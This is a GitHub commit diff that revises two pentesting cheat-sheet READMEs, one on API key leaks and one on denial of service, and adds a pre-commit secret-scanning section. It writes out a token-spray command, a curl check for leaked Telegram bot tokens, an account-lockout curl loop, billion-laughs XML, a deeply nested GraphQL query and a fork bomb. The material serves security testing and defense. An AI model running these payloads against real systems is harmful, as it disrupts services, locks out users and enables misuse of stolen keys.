You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: API Key Leaks/README.md
+30-18Lines changed: 30 additions & 18 deletions
Original file line number
Diff line number
Diff line change
@@ -5,12 +5,12 @@
5
5
## Summary
6
6
7
7
-[Tools](#tools)
8
-
-[Methodology](#exploit)
8
+
-[Methodology](#methodology)
9
9
-[Common Causes of Leaks](#common-causes-of-leaks)
10
10
-[Validate The API Key](#validate-the-api-key)
11
+
-[Reducing The Attack Surface](#reducing-the-attack-surface)
11
12
-[References](#references)
12
13
13
-
14
14
## Tools
15
15
16
16
-[aquasecurity/trivy](https://github.com/aquasecurity/trivy) - General purpose vulnerability and misconfiguration scanner which also searches for API keys/secrets
@@ -21,26 +21,26 @@
21
21
-[streaak/keyhacks](https://github.com/streaak/keyhacks) - is a repository which shows quick ways in which API keys leaked by a bug bounty program can be checked to see if they're valid
22
22
-[trufflesecurity/truffleHog](https://github.com/trufflesecurity/truffleHog) - Find credentials all over the place
23
23
-[projectdiscovery/nuclei-templates](https://github.com/projectdiscovery/nuclei-templates) - Use these templates to test an API token against many API service endpoints
24
+
24
25
```powershell
25
26
nuclei -t token-spray/ -var token=token_list.txt
26
27
```
27
28
28
-
29
29
## Methodology
30
30
31
-
* **API Keys**: Unique identifiers used to authenticate requests associated with your project or application.
32
-
* **Tokens**: Security tokens (like OAuth tokens) that grant access to protected resources.
33
-
31
+
- **API Keys**: Unique identifiers used to authenticate requests associated with your project or application.
32
+
- **Tokens**: Security tokens (like OAuth tokens) that grant access to protected resources.
33
+
34
34
### Common Causes of Leaks
35
35
36
-
* **Hardcoding in Source Code**: Developers may unintentionally leave API keys or tokens directly in the source code.
36
+
- **Hardcoding in Source Code**: Developers may unintentionally leave API keys or tokens directly in the source code.
37
37
38
-
```py
38
+
```py
39
39
# Example of hardcoded API key
40
40
api_key = "1234567890abcdef"
41
41
```
42
42
43
-
* **Public Repositories**: Accidentally committing sensitive keys and tokens to publicly accessible version control systems like GitHub.
43
+
- **Public Repositories**: Accidentally committing sensitive keys and tokens to publicly accessible version control systems like GitHub.
* **Hardcoding in Docker Images**: API keys and credentials might be hardcoded in Docker images hosted on DockerHub or private registries.
53
+
- **Hardcoding in Docker Images**: API keys and credentials might be hardcoded in Docker images hosted on DockerHub or private registries.
54
54
55
55
```ps1
56
56
# Scan a Docker image for verified secrets
57
57
docker run --rm -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest docker --image trufflesecurity/secrets
58
58
```
59
59
60
-
* **Logs and Debug Information**: Keys and tokens might be inadvertently logged or printed during debugging processes.
61
-
62
-
* **Configuration Files**: Including keys and tokens in publicly accessible configuration files (e.g., .env files, config.json, settings.py, or .aws/credentials.).
60
+
- **Logs and Debug Information**: Keys and tokens might be inadvertently logged or printed during debugging processes.
63
61
62
+
- **Configuration Files**: Including keys and tokens in publicly accessible configuration files (e.g., .env files, config.json, settings.py, or .aws/credentials.).
64
63
65
64
### Validate The API Key
66
65
@@ -80,16 +79,29 @@ patterns:
80
79
81
80
Use [streaak/keyhacks](https://github.com/streaak/keyhacks) or read the documentation of the service to find a quick way to verify the validity of an API key.
82
81
83
-
***Example**: Telegram Bot API Token
82
+
-**Example**: Telegram Bot API Token
84
83
85
84
```ps1
86
85
curl https://api.telegram.org/bot<TOKEN>/getMe
87
86
```
88
87
88
+
## Reducing The Attack Surface
89
+
90
+
Check the existence of a private key or AWS credentials before commiting your changes in a GitHub repository.
91
+
92
+
Add these lines to your `.pre-commit-config.yaml` file.
* [Finding Hidden API Keys & How to Use Them - Sumit Jain - August 24, 2019](https://web.archive.org/web/20191012175520/https://medium.com/@sumitcfe/finding-hidden-api-keys-how-to-use-them-11b1e5d0f01d)
93
-
* [Introducing SignSaboteur: Forge Signed Web Tokens with Ease - Zakhar Fedotkin - May 22, 2024](https://portswigger.net/research/introducing-signsaboteur-forge-signed-web-tokens-with-ease)
94
-
* [Private API Key Leakage Due to Lack of Access Control - yox - August 8, 2018](https://hackerone.com/reports/376060)
95
-
* [Saying Goodbye to My Favorite 5 Minute P1 - Allyson O'Malley - January 6, 2020](https://www.allysonomalley.com/2020/01/06/saying-goodbye-to-my-favorite-5-minute-p1/)
104
+
-[Finding Hidden API Keys & How to Use Them - Sumit Jain - August 24, 2019](https://web.archive.org/web/20191012175520/https://medium.com/@sumitcfe/finding-hidden-api-keys-how-to-use-them-11b1e5d0f01d)
105
+
-[Introducing SignSaboteur: Forge Signed Web Tokens with Ease - Zakhar Fedotkin - May 22, 2024](https://portswigger.net/research/introducing-signsaboteur-forge-signed-web-tokens-with-ease)
106
+
-[Private API Key Leakage Due to Lack of Access Control - yox - August 8, 2018](https://hackerone.com/reports/376060)
107
+
-[Saying Goodbye to My Favorite 5 Minute P1 - Allyson O'Malley - January 6, 2020](https://www.allysonomalley.com/2020/01/06/saying-goodbye-to-my-favorite-5-minute-p1/)
Copy file name to clipboardExpand all lines: Denial of Service/README.md
+13-9Lines changed: 13 additions & 9 deletions
Original file line number
Diff line number
Diff line change
@@ -2,7 +2,6 @@
2
2
3
3
> A Denial of Service (DoS) attack aims to make a service unavailable by overwhelming it with a flood of illegitimate requests or exploiting vulnerabilities in the target's software to crash or degrade performance. In a Distributed Denial of Service (DDoS), attackers use multiple sources (often compromised machines) to perform the attack simultaneously.
Here are some examples of Denial of Service (DoS) attacks. These examples should serve as a reference for understanding the concept, but any DoS testing should be conducted cautiously, as it can disrupt the target environment and potentially result in loss of access or exposure of sensitive data.
18
16
19
-
20
17
### Locking Customer Accounts
21
18
22
-
Example of Denial of Service that can occur when testing customer accounts.
19
+
Example of Denial of Service that can occur when testing customer accounts.
23
20
Be very careful as this is most likely **out-of-scope** and can have a high impact on the business.
24
21
25
22
* Multiple attempts on the login page when the account is temporary/indefinitely banned after X bad attempts.
23
+
26
24
```ps1
27
25
for i in {1..100}; do curl -X POST -d "username=user&password=wrong" <target_login_url>; done
28
26
```
29
27
30
-
31
28
### File Limits on FileSystem
32
29
33
30
When a process is writing a file on the server, try to reach the maximum number of files allowed by the filesystem format. The system should output a message: `No space left on device` when the limit is reached.
34
-
31
+
35
32
| Filesystem | Maximum Inodes |
36
33
| --- | --- |
37
34
| BTRFS | 2^64 (~18 quintillion) |
@@ -47,12 +44,12 @@ FAT32 has a significant limitation of **4 GB**, which is why it's often replaced
47
44
48
45
Modern filesystems like BTRFS, ZFS, and XFS support exabyte-scale files, well beyond current storage capacities, making them future-proof for large datasets.
49
46
50
-
51
47
### Memory Exhaustion - Technology Related
52
48
53
49
Depending on the technology used by the website, an attacker may have the ability to trigger specific functions or paradigm that will consume a huge chunk of memory.
@@ -70,7 +67,9 @@ Depending on the technology used by the website, an attacker may have the abilit
70
67
]>
71
68
<lolz>&lol9;</lolz>
72
69
```
70
+
73
71
* **GraphQL**: Deeply-nested GraphQL queries.
72
+
74
73
```ps1
75
74
query {
76
75
repository(owner:"rails", name:"rails") {
@@ -86,12 +85,17 @@ Depending on the technology used by the website, an attacker may have the abilit
86
85
}
87
86
}
88
87
```
88
+
89
89
* **Image Resizing**: try to send invalid pictures with modified headers, e.g: abnormal size, big number of pixels.
90
90
* **SVG handling**: SVG file format is based on XML, try the billion laughs attack.
91
91
* **Regular Expression**: ReDoS
92
+
* **Fork Bomb**: rapidly creates new processes in a loop, consuming system resources until the machine becomes unresponsive.
92
93
94
+
```ps1
95
+
:(){ :|:& };:
96
+
```
93
97
94
98
## References
95
99
96
-
- [DEF CON 32 - Practical Exploitation of DoS in Bug Bounty - Roni Lupin Carta - October 16, 2024](https://youtu.be/b7WlUofPJpU)
97
-
- [Denial of Service Cheat Sheet - OWASP Cheat Sheet Series - July 16, 2019](https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html)
100
+
* [DEF CON 32 - Practical Exploitation of DoS in Bug Bounty - Roni Lupin Carta - October 16, 2024](https://youtu.be/b7WlUofPJpU)
101
+
* [Denial of Service Cheat Sheet - OWASP Cheat Sheet Series - July 16, 2019](https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html)
0 commit comments